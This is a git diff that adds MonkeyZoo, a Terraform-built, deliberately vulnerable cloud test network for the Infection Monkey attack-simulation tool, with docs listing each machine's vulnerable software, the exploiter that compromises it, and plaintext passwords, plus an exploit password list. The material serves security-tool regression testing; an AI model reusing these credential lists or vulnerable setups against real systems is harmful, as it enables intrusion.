diff --git a/.gitignore b/.gitignore index 44ae856a5..63de45992 100644 --- a/.gitignore +++ b/.gitignore @@ -68,3 +68,18 @@ bin /monkey/monkey_island/cc/server.crt /monkey/monkey_island/cc/server.csr /monkey/monkey_island/cc/ui/node_modules/ + +# User files +/monkey/monkey_island/cc/userUploads + +# MonkeyZoo +# Network status files +MonkeyZoo/* +# Except +!MonkeyZoo/main.tf +!MonkeyZoo/variables.tf +!MonkeyZoo/README.MD +!MonkeyZoo/config.tf +!MonkeyZoo/MonkeyZooDocs.pdf + + diff --git a/envs/monkey_zoo/README.md b/envs/monkey_zoo/README.md new file mode 100644 index 000000000..cfc1d4c34 --- /dev/null +++ b/envs/monkey_zoo/README.md @@ -0,0 +1,3 @@ +# MonkeyZoo +These files are used to deploy Infection Monkey's test network on GCP.
+For more information view docs/fullDocs.md diff --git a/envs/monkey_zoo/configs/fullTest.conf b/envs/monkey_zoo/configs/fullTest.conf new file mode 100644 index 000000000..8ffa668ef --- /dev/null +++ b/envs/monkey_zoo/configs/fullTest.conf @@ -0,0 +1,206 @@ +{ + "basic": { + "credentials": { + "exploit_password_list": [ + "`))jU7L(w}", + "3Q=(Ge(+&w]*", + "^NgDvY59~8", + "Ivrrw5zEzs", + "YbS, +[Introduction](#introduction)
+[Getting started](#getting-started)
+[Using islands](#using-islands)
+[Running tests](#running-tests)
+[Machines’ legend](#machines-legend)
+[Machines](#machines)
+[Nr. 2 Hadoop](#_Toc526517182)
+[Nr. 3 Hadoop](#_Toc526517183)
+[Nr. 4 Elastic](#_Toc526517184)
+[Nr. 5 Elastic](#_Toc526517185)
+[Nr. 6 Sambacry](#_Toc536021459)
+[Nr. 7 Sambacry](#_Toc536021460)
+[Nr. 8 Shellshock](#_Toc536021461)
+[Nr. 9 Tunneling M1](#_Toc536021462)
+[Nr. 10 Tunneling M2](#_Toc536021463)
+[Nr. 11 SSH key steal](#_Toc526517190)
+[Nr. 12 SSH key steal](#_Toc526517191)
+[Nr. 13 RDP grinder](#_Toc526517192)
+[Nr. 14 Mimikatz](#_Toc536021467)
+[Nr. 15 Mimikatz](#_Toc536021468)
+[Nr. 16 MsSQL](#_Toc536021469)
+[Nr. 17 Upgrader](#_Toc536021470)
+[Nr. 18 WebLogic](#_Toc526517180)
+[Nr. 19 WebLogic](#_Toc526517181)
+[Nr. 20 SMB](#_Toc536021473)
+[Nr. 21 Scan](#_Toc526517196)
+[Nr. 22 Scan](#_Toc526517197)
+[Nr. 23 Struts2](#_Toc536021476)
+[Nr. 24 Struts2](#_Toc536021477)
+[Nr. 250 MonkeyIsland](#_Toc536021478)
+[Nr. 251 MonkeyIsland](#_Toc536021479)
+[Network topography](#network-topography)
+ +# Warning\! + +This project builds an intentionally +vulnerable network. Make sure not to add +production servers to the same network and leave it closed to the +public. + +# Introduction: + +MonkeyZoo is a Google Cloud Platform network deployed with terraform. +Terraform scripts allows you to quickly setup a network that’s full of +vulnerable machines to regression test monkey’s exploiters, evaluate +scanning times in a real-world scenario and many more. + +# Getting started: + +Requirements: +1. Have terraform installed. +2. Have a Google Cloud Platform account (upgraded if you want to test + whole network at once). + +To deploy: +1. Configure service account for your project: + + a. Create a service account and name it “your\_name-monkeyZoo-user” + + b. Give these permissions to your service account: + + **Compute Engine -> Compute Network Admin** + and + **Compute Engine -> Compute Instance Admin** + and + **Compute Engine -> Compute Security Admin** + and + **Service Account User** + + or + + **Project -> Owner** + + c. Download its **Service account key**. Select JSON format. +2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them): + + a. **Compute Engine -\> Compute image user** +3. Change configurations located in the + ../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to + link to your service account key file): + + > provider "google" { + > + > project = "project-28054666" + > + > region = "europe-west3" + > + > zone = "europe-west3-b" + > + > credentials = "${file("project-92050661-9dae6c5a02fc.json")}" + > + > } + > + > service\_account\_email="test@project-925243.iam.gserviceaccount.com" + +4. Run terraform init + +To deploy the network run:
+`terraform plan` (review the changes it will make on GCP)
+`terraform apply` (creates 2 networks for machines)
+`terraform apply` (adds machines to these networks) + +# Using islands: + +###How to get into the islands: + +**island-linux-250:** SSH from GCP + +**island-windows-251:** In GCP/VM instances page click on +island-windows-251. Set password for your account and then RDP into +the island. + +###These are most common steps on monkey islands: + +####island-linux-250: + +To run monkey island:
+`sudo /usr/run\_island.sh`
+ +To run monkey:
+`sudo /usr/run\_monkey.sh`
+ +To update repository:
+`git pull /usr/infection_monkey`
+ +Update all requirements using deployment script:
+1\. `cd /usr/infection_monkey/deployment_scripts`
+2\. `./deploy_linux.sh "/usr/infection_monkey" "develop"`
+ +####island-windows-251: + +To run monkey island:
+Execute C:\\run\_monkey\_island.bat as administrator + +To run monkey:
+Execute C:\\run\_monkey.bat as administrator + +To update repository:
+1\. Open cmd as an administrator
+2\. `cd C:\infection_monkey`
+3\. `git pull` (updates develop branch)
+ +Update all requirements using deployment script:
+1. `cd C:\infection_monkey\deployment_scripts`
+2. `./run_script.bat "C:\infection_monkey" "develop"` + +# Running tests: + +Once you start monkey island you can import test configurations from +../monkey/envs/configs. + +fullTest.conf is a good config to start, because it covers all machines. + +# Machines: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 2 Hadoop

+

(10.2.2.2)

(Vulnerable)
OS:Ubuntu 16.04.05 x64
Software:

JDK,

+

Hadoop 2.9.1

Default server’s port:8020
Server’s config:Single node cluster
Scan results:Machine exploited using Hadoop exploiter
Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 3 Hadoop

+

(10.2.2.3)

(Vulnerable)
OS:Windows 10 x64
Software:

JDK,

+

Hadoop 2.9.1

Default server’s port:8020
Server’s config:Single node cluster
Scan results:Machine exploited using Hadoop exploiter
Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 4 Elastic

+

(10.2.2.4)

(Vulnerable)
OS:Ubuntu 16.04.05 x64
Software:

JDK,

+

Elastic 1.4.2

Default server’s port:9200
Server’s config:Default
Scan results:Machine exploited using Elastic exploiter
Notes:Quick tutorial on how to add entries (was useful when setting up).
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 5 Elastic

+

(10.2.2.5)

(Vulnerable)
OS:Windows 10 x64
Software:

JDK,

+

Elastic 1.4.2

Default server’s port:9200
Server’s config:Default
Scan results:Machine exploited using Elastic exploiter
Notes:Quick tutorial on how to add entries (was useful when setting up).
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 6 Sambacry

+

(10.2.2.6)

(Not implemented)
OS:Ubuntu 16.04.05 x64
Software:Samba > 3.5.0 and < 4.6.4, 4.5.10 and 4.4.14
Default server’s port:-
Root password:;^TK`9XN_x^
Server’s config:
Scan results:Machine exploited using Sambacry exploiter
Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 7 Sambacry

+

(10.2.2.7)

(Not implemented)
OS:Ubuntu 16.04.05 x32
Software:Samba > 3.5.0 and < 4.6.4, 4.5.10 and 4.4.14
Default server’s port:-
Root password:*.&A7/W}Rc$
Server’s config:
Scan results:Machine exploited using Sambacry exploiter
Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 8 Shellshock

+

(10.2.2.8)

(Vulnerable)
OS:Ubuntu 12.04 LTS x64
Software:Apache2, bash 4.2.
Default server’s port:80
Scan results:Machine exploited using Shellshock exploiter
Notes:Vulnerable app is under /cgi-bin/test.cgi
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 9 Tunneling M1

+

(10.2.2.9, 10.2.1.9)

(Vulnerable)
OS:Ubuntu 16.04.05 x64
Software:OpenSSL
Default service’s port:22
Root password:`))jU7L(w}
Server’s config:Default
Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 10 Tunneling M2

+

(10.2.1.10)

(Exploitable)
OS:Ubuntu 16.04.05 x64
Software:OpenSSL
Default service’s port:22
Root password:3Q=(Ge(+&w]*
Server’s config:Default
Notes:Accessible only trough Nr.9
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 11 SSH key steal.

+

(10.2.2.11)

(Vulnerable)
OS:Ubuntu 16.04.05 x64
Software:OpenSSL
Default connection port:22
Root password:^NgDvY59~8
Server’s config:SSH keys to connect to NR. 11
Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 12 SSH key steal.

+

(10.2.2.12)

(Exploitable)
OS:Ubuntu 16.04.05 x64
Software:OpenSSL
Default connection port:22
Root password:u?Sj5@6(-C
Server’s config:SSH configured to allow connection from NR.10
Notes:Don’t add this machine’s credentials to exploit configuration.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 13 RDP grinder

+

(10.2.2.13)

(Not implemented)
OS:Windows 10 x64
Software:-
Default connection port:3389
Root password:2}p}aR]&=M
Scan results:Machine exploited using RDP grinder
Server’s config:

Remote desktop enabled

+

Admin user’s credentials:

+

m0nk3y, 2}p}aR]&=M

Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 14 Mimikatz

+

(10.2.2.14)

(Vulnerable)
OS:Windows 10 x64
Software:-
Admin password:Ivrrw5zEzs
Server’s config:

Has cashed mimikatz-15 RDP credentials

+

SMB turned on

Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 15 Mimikatz

+

(10.2.2.15)

(Exploitable)
OS:Windows 10 x64
Software:-
Admin password:pAJfG56JX><
Server’s config:

It’s credentials are cashed at mimikatz-14

+

SMB turned on

Notes:If you change this machine’s IP it won’t get exploited.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 16 MsSQL

+

(10.2.2.16)

(Vulnerable)
OS:Windows 10 x64
Software:MSSQL Server
Default service port:1433
Server’s config:

xp_cmdshell feature enabled in MSSQL server

SQL server auth. creds:

m0nk3y : Xk8VDTsC

Notes:

Enabled SQL server browser service

+

Enabled remote connections

+

Changed default password

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 17 Upgrader

+

(10.2.2.17)

(Not implemented)
OS:Windows 10 x64
Default service port:445
Root password:U??7ppG_
Server’s config:Turn on SMB
Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 18 WebLogic

+

(10.2.2.18)

(Vulnerable)
OS:Ubuntu 16.04.05 x64
Software:

JDK,

+

Oracle WebLogic server 12.2.1.2

Default server’s port:7001
Admin domain credentials:weblogic : B74Ot0c4
Server’s config:Default
Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 19 WebLogic

+

(10.2.2.19)

(Vulnerable)
OS:Windows 10 x64
Software:

JDK,

+

Oracle WebLogic server 12.2.1.2

Default server’s port:7001
Admin servers credentials:weblogic : =ThS2d=m(`B
Server’s config:Default
Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 20 SMB

+

(10.2.2.20)

(Vulnerable)
OS:Windows 10 x64
Software:-
Default service’s port:445
Root password:YbS,<tpS.2av
Server’s config:SMB turned on
Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 21 Scan

+

(10.2.2.21)

(Secure)
OS:Ubuntu 16.04.05 x64
Software:Apache tomcat 7.0.92
Default server’s port:8080
Server’s config:Default
Notes:Used to scan a machine that has no vulnerabilities (to evaluate scanning speed for e.g.)
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 22 Scan

+

(10.2.2.22)

(Secure)
OS:Windows 10 x64
Software:Apache tomcat 7.0.92
Default server’s port:8080
Server’s config:Default
Notes:Used to scan a machine that has no vulnerabilities (to evaluate scanning speed for e.g.)
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 23 Struts2

+

(10.2.2.23)

(Vulnerable)
OS:Ubuntu 16.04.05 x64
Software:

JDK,

+

struts2 2.3.15.1,

+

tomcat 9.0.0.M9

Default server’s port:8080
Server’s config:Default
Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 24 Struts2

+

(10.2.2.24)

(Vulnerable)
OS:Windows 10 x64
Software:

JDK,

+

struts2 2.3.15.1,

+

tomcat 9.0.0.M9

Default server’s port:8080
Server’s config:Default
Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 250 MonkeyIsland

+

(10.2.2.250)

OS:Ubuntu 16.04.05 x64
Software:MonkeyIsland server, git, mongodb etc.
Default server’s port:22, 443
Private key passphrase:-
Notes:Only accessible trough GCP
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 251 MonkeyIsland

+

(10.2.2.251)

OS:Windows Server 2016 x64
Software:MonkeyIsland server, git, mongodb etc.
Default server’s port:3389, 443
Private key passphrase:-
Notes:Only accessible trough GCP
+ +# Network topography: + + diff --git a/envs/monkey_zoo/docs/images/networkTopography.jpg b/envs/monkey_zoo/docs/images/networkTopography.jpg new file mode 100644 index 000000000..09130a251 Binary files /dev/null and b/envs/monkey_zoo/docs/images/networkTopography.jpg differ diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf new file mode 100644 index 000000000..c6108865a --- /dev/null +++ b/envs/monkey_zoo/terraform/config.tf @@ -0,0 +1,10 @@ +provider "google" { + project = "test-000000" + region = "europe-west3" + zone = "europe-west3-b" + credentials = "${file("testproject-000000-0c0b000b00c0.json")}" +} +locals { + service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" + monkeyzoo_project="guardicore-22050661" +} \ No newline at end of file diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf new file mode 100644 index 000000000..df33ed4d4 --- /dev/null +++ b/envs/monkey_zoo/terraform/firewalls.tf @@ -0,0 +1,76 @@ +resource "google_compute_firewall" "islands-in" { + name = "islands-in" + network = "${google_compute_network.monkeyzoo.name}" + + allow { + protocol = "tcp" + ports = ["22", "443", "3389", "5000"] + } + + direction = "INGRESS" + priority = "65534" + target_tags = ["island"] +} + +resource "google_compute_firewall" "islands-out" { + name = "islands-out" + network = "${google_compute_network.monkeyzoo.name}" + + allow { + protocol = "tcp" + } + + direction = "EGRESS" + priority = "65534" + target_tags = ["island"] +} + +resource "google_compute_firewall" "monkeyzoo-in" { + name = "monkeyzoo-in" + network = "${google_compute_network.monkeyzoo.name}" + + allow { + protocol = "all" + } + + direction = "INGRESS" + priority = "65534" + source_ranges = ["10.2.2.0/24"] +} + +resource "google_compute_firewall" "monkeyzoo-out" { + name = "monkeyzoo-out" + network = "${google_compute_network.monkeyzoo.name}" + + allow { + protocol = "all" + } + + direction = "EGRESS" + priority = "65534" + destination_ranges = ["10.2.2.0/24"] +} + +resource "google_compute_firewall" "tunneling-in" { + name = "tunneling-in" + network = "${google_compute_network.tunneling.name}" + + allow { + protocol = "all" + } + + direction = "INGRESS" + source_ranges = ["10.2.1.0/28"] +} + +resource "google_compute_firewall" "tunneling-out" { + name = "tunneling-out" + network = "${google_compute_network.tunneling.name}" + + allow { + protocol = "all" + } + + direction = "EGRESS" + destination_ranges = ["10.2.1.0/28"] +} diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf new file mode 100644 index 000000000..4677d0c1b --- /dev/null +++ b/envs/monkey_zoo/terraform/images.tf @@ -0,0 +1,91 @@ +//Custom cloud images +data "google_compute_image" "hadoop-2" { + name = "hadoop-2" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "hadoop-3" { + name = "hadoop-3" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "elastic-4" { + name = "elastic-4" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "elastic-5" { + name = "elastic-5" + project = "${local.monkeyzoo_project}" +} + +/* +data "google_compute_image" "sambacry-6" { + name = "sambacry-6" +} +*/ +data "google_compute_image" "shellshock-8" { + name = "shellshock-8" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "tunneling-9" { + name = "tunneling-9-v2" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "tunneling-10" { + name = "tunneling-10-v2" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "sshkeys-11" { + name = "sshkeys-11-v2" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "sshkeys-12" { + name = "sshkeys-12-v2" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "mimikatz-14" { + name = "mimikatz-14-v2" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "mimikatz-15" { + name = "mimikatz-15" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "mssql-16" { + name = "mssql-16" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "weblogic-18" { + name = "weblogic-18" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "weblogic-19" { + name = "weblogic-19-v2" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "smb-20" { + name = "smb-20" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "scan-21" { + name = "scan-21" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "scan-22" { + name = "scan-22" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "struts2-23" { + name = "struts2-23" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "struts2-24" { + name = "struts-24-v2" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "island-linux-250" { + name = "island-linux-250" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "island-windows-251" { + name = "island-windows-251" + project = "${local.monkeyzoo_project}" +} \ No newline at end of file diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf new file mode 100644 index 000000000..e0b97822f --- /dev/null +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -0,0 +1,431 @@ + +// Local variables +locals { + default_ubuntu="${google_compute_instance_template.ubuntu16.self_link}" + default_windows="${google_compute_instance_template.windows2016.self_link}" +} + +resource "google_compute_network" "monkeyzoo" { + name = "monkeyzoo" + auto_create_subnetworks = false +} + +resource "google_compute_network" "tunneling" { + name = "tunneling" + auto_create_subnetworks = false +} + +resource "google_compute_subnetwork" "monkeyzoo-main" { + name = "monkeyzoo-main" + ip_cidr_range = "10.2.2.0/24" + network = "${google_compute_network.monkeyzoo.self_link}" +} + +resource "google_compute_subnetwork" "tunneling-main" { + name = "tunneling-main" + ip_cidr_range = "10.2.1.0/28" + network = "${google_compute_network.tunneling.self_link}" +} + +resource "google_compute_instance_from_template" "hadoop-2" { + name = "hadoop-2" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.hadoop-2.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.2" + } + // Add required ssh keys for hadoop service and restart it + metadata_startup_script = "[ ! -f /home/vakaris_zilius/.ssh/authorized_keys ] && sudo cat /home/vakaris_zilius/.ssh/id_rsa.pub >> /home/vakaris_zilius/.ssh/authorized_keys && sudo reboot" +} + +resource "google_compute_instance_from_template" "hadoop-3" { + name = "hadoop-3" + source_instance_template = "${local.default_windows}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.hadoop-3.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.3" + } +} + +resource "google_compute_instance_from_template" "elastic-4" { + name = "elastic-4" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.elastic-4.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.4" + } +} + +resource "google_compute_instance_from_template" "elastic-5" { + name = "elastic-5" + source_instance_template = "${local.default_windows}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.elastic-5.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.5" + } +} + +/* Couldn't find ubuntu packages for required samba version (too old). +resource "google_compute_instance_from_template" "sambacry-6" { + name = "sambacry-6" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.sambacry-6.self_link}" + } + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.6" + } +} +*/ + +/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP). +resource "google_compute_instance_from_template" "sambacry-7" { + name = "sambacry-7" + source_instance_template = "${local.default_ubuntu}" + boot_disk { + initialize_params { + // Add custom image to cloud + image = "ubuntu32" + } + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.7" + } +} +*/ + +resource "google_compute_instance_from_template" "shellshock-8" { + name = "shellshock-8" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.shellshock-8.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.8" + } +} + +resource "google_compute_instance_from_template" "tunneling-9" { + name = "tunneling-9" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.tunneling-9.self_link}" + } + auto_delete = true + } + network_interface{ + subnetwork="tunneling-main" + network_ip="10.2.1.9" + + } + network_interface{ + subnetwork="monkeyzoo-main" + network_ip="10.2.2.9" + } +} + +resource "google_compute_instance_from_template" "tunneling-10" { + name = "tunneling-10" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.tunneling-10.self_link}" + } + auto_delete = true + } + network_interface{ + subnetwork="tunneling-main" + network_ip="10.2.1.10" + } +} + +resource "google_compute_instance_from_template" "sshkeys-11" { + name = "sshkeys-11" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.sshkeys-11.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.11" + } +} + +resource "google_compute_instance_from_template" "sshkeys-12" { + name = "sshkeys-12" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.sshkeys-12.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.12" + } +} + +/* +resource "google_compute_instance_from_template" "rdpgrinder-13" { + name = "rdpgrinder-13" + source_instance_template = "${local.default_windows}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.rdpgrinder-13.self_link}" + } + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.13" + } +} +*/ + +resource "google_compute_instance_from_template" "mimikatz-14" { + name = "mimikatz-14" + source_instance_template = "${local.default_windows}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.mimikatz-14.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.14" + } +} + +resource "google_compute_instance_from_template" "mimikatz-15" { + name = "mimikatz-15" + source_instance_template = "${local.default_windows}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.mimikatz-15.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.15" + } +} + +resource "google_compute_instance_from_template" "mssql-16" { + name = "mssql-16" + source_instance_template = "${local.default_windows}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.mssql-16.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.16" + } +} + +/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) +resource "google_compute_instance_from_template" "upgrader-17" { + name = "upgrader-17" + source_instance_template = "${local.default_windows}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.upgrader-17.self_link}" + } + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.17" + access_config { + // Cheaper, non-premium routing + network_tier = "STANDARD" + } + } +} +*/ + +resource "google_compute_instance_from_template" "weblogic-18" { + name = "weblogic-18" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.weblogic-18.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.18" + } +} + +resource "google_compute_instance_from_template" "weblogic-19" { + name = "weblogic-19" + source_instance_template = "${local.default_windows}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.weblogic-19.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.19" + } +} + +resource "google_compute_instance_from_template" "smb-20" { + name = "smb-20" + source_instance_template = "${local.default_windows}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.smb-20.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.20" + } +} + +resource "google_compute_instance_from_template" "scan-21" { + name = "scan-21" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.scan-21.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.21" + } +} + +resource "google_compute_instance_from_template" "scan-22" { + name = "scan-22" + source_instance_template = "${local.default_windows}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.scan-22.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.22" + } +} + +resource "google_compute_instance_from_template" "struts2-23" { + name = "struts2-23" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.struts2-23.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.23" + } +} + +resource "google_compute_instance_from_template" "struts2-24" { + name = "struts2-24" + source_instance_template = "${local.default_windows}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.struts2-24.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.24" + } +} + +resource "google_compute_instance_from_template" "island-linux-250" { + name = "island-linux-250" + machine_type = "n1-standard-2" + tags = ["island", "linux", "ubuntu16"] + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.island-linux-250.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.250" + access_config { + // Cheaper, non-premium routing (not available in some regions) + // network_tier = "STANDARD" + } + } +} + +resource "google_compute_instance_from_template" "island-windows-251" { + name = "island-windows-251" + machine_type = "n1-standard-2" + tags = ["island", "windows", "windowsserver2016"] + source_instance_template = "${local.default_windows}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.island-windows-251.self_link}" + } + auto_delete = true + } + network_interface { + subnetwork="monkeyzoo-main" + network_ip="10.2.2.251" + access_config { + // Cheaper, non-premium routing (not available in some regions) + // network_tier = "STANDARD" + } + } +} \ No newline at end of file diff --git a/envs/monkey_zoo/terraform/templates.tf b/envs/monkey_zoo/terraform/templates.tf new file mode 100644 index 000000000..ed48864d9 --- /dev/null +++ b/envs/monkey_zoo/terraform/templates.tf @@ -0,0 +1,45 @@ +resource "google_compute_instance_template" "ubuntu16" { + name = "ubuntu16" + description = "Creates ubuntu 16.04 LTS servers at europe-west3-a." + + tags = ["test-machine", "ubuntu16", "linux"] + + machine_type = "n1-standard-1" + can_ip_forward = false + + disk { + source_image = "ubuntu-os-cloud/ubuntu-1604-lts" + } + network_interface { + subnetwork="monkeyzoo-main" + access_config { + // Cheaper, non-premium routing + network_tier = "STANDARD" + } + } + service_account { + email ="${local.service_account_email}" + scopes=["cloud-platform"] + } +} + +resource "google_compute_instance_template" "windows2016" { + name = "windows2016" + description = "Creates windows 2016 core servers at europe-west3-a." + + tags = ["test-machine", "windowsserver2016", "windows"] + + machine_type = "n1-standard-1" + can_ip_forward = false + + disk { + source_image = "windows-cloud/windows-2016" + } + network_interface { + subnetwork="monkeyzoo-main" + } + service_account { + email="${local.service_account_email}" + scopes=["cloud-platform"] + } +} \ No newline at end of file diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py new file mode 100644 index 000000000..c7d2dc62c --- /dev/null +++ b/monkey/common/utils/attack_utils.py @@ -0,0 +1,10 @@ +from enum import Enum + + +class ScanStatus(Enum): + # Technique wasn't scanned + UNSCANNED = 0 + # Technique was attempted/scanned + SCANNED = 1 + # Technique was attempted and succeeded + USED = 2 diff --git a/monkey/common/utils/exploit_enum.py b/monkey/common/utils/exploit_enum.py new file mode 100644 index 000000000..3aff53121 --- /dev/null +++ b/monkey/common/utils/exploit_enum.py @@ -0,0 +1,7 @@ +from enum import Enum + + +class ExploitType(Enum): + VULNERABILITY = 1 + OTHER = 8 + BRUTE_FORCE = 9 diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index ff66ff167..0d44cb973 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -161,6 +161,10 @@ class Configuration(object): keep_tunnel_open_time = 60 + # Monkey files directories + monkey_dir_linux = '/tmp/monkey_dir' + monkey_dir_windows = r'C:\Windows\Temp\monkey_dir' + ########################### # scanners config ########################### @@ -267,6 +271,10 @@ class Configuration(object): extract_azure_creds = True post_breach_actions = [] + custom_PBA_linux_cmd = "" + custom_PBA_windows_cmd = "" + PBA_linux_filename = None + PBA_windows_filename = None WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/example.conf 